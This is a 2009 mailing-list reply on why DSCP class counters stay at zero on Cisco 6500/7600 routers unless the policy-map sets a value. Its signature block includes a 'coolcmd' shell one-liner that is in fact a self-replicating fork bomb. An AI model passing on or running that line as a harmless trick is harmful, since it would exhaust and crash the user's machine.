[c-nsp] Problem with dscp packets marking on 76th platform.

Thomas Habets thomas at habets.pp.se
Wed Nov 25 15:08:24 EST 2009


On Wed, 25 Nov 2009, Teslenko wrote:
> PE2#sh policy-map test-Out
>  Policy Map test-Out
>    Class test
>    Class class-default
>
> PE2#sh class-map test
> Class Map match-all test (id 27)
>   Match ip  dscp 39
[...]
> PE2# sh policy-map interface Gi1.205 output class test
> GigabitEthernet1.205
>  Service-policy output: test-Out
>    Class-map: test (match-all)
>      0 packets, 0 bytes
>      30 second offered rate 0 bps
>      Match: ip dscp 39

The output counter will not increment if you only match on 6500/7600, and 
don't actually *set* anything in your policy-map. This is true for getting 
EXP-x counter values in P at least.

Try this on PE2:
policy-map test-Out
   class test
     set dscp 39

And see if the counter wakes up. Are you sure the tags are as you think 
on the wire, or are you bravely believing anything that the 6500/7600 
tells you? The counter is (can be) a lie.

This will of course not actually change anything, since you are setting 39 
if it's set to 39.

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas at habets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;


More information about the cisco-nsp mailing list